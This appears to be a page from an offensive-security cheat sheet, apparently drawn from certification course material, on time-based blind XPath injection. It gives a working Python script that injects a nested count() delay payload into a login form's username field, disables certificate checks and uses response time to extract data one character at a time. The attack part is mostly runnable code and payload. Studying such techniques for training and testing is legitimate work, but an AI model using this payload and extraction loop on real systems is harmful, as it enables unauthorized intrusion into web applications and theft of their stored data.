Skip to content
Time-based

Time-based

Time-based blind XPath: nested count() delay oracle

Builds a measurable delay from nested count((//.)[…]) when no sleep() exists, gated behind the test condition with and.

XPath 1.0 has no sleep primitive, so CPU work is forced with deeply nested count((//.)[count(...)]) over every node in the document. Because and is evaluated left-to-right and short-circuits, the heavy DELAY term runs only when expr is TRUE, turning response latency into the oracle. The threshold is calibrated against a known-FALSE baseline so noise does not flip the bit. This oracle() is a drop-in replacement for the boolean-blind one: the length_of(), extract(), and count() helpers work unchanged once latency replaces the success marker, making this the fallback when no visible TRUE/FALSE difference exists.

import requests, urllib3, time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()

URL = "https://target/index.php"

# No sleep() in XPath 1.0: burn CPU over (//.) so a TRUE branch is slow.
DELAY = "count((//.)[count((//.)[count((//.)[count((//.)[count((//.)[count((//.))])])])])])"
THRESHOLD = 1.5  # seconds; calibrate against a known-FALSE request

# 'and' short-circuits, so DELAY only runs when expr is TRUE -> response lags.
def oracle(expr):
    data = {"username": f"invalid' or {expr} and {DELAY} and '1'='1", "msg": "test"}
    start = time.time()
    s.post(URL, data=data, verify=False)
    return time.time() - start > THRESHOLD

# Drop-in: the boolean-blind length_of()/extract()/count() helpers reuse this.
def length_of(target):
    n = 0
    while not oracle(f"string-length({target})={n}"):
        n += 1
    return n

print(f"[*] root name length = {length_of('name(/*[1])')}")

oracle signal

TRUE  -> request takes > 1.5s
FALSE -> request returns fast (< baseline)

Find by: xpath blind time-based timing delay no sleep count nested oracle threshold libxml2 cpu burn · Source: CWEE/XPath Injection - Blind Time Based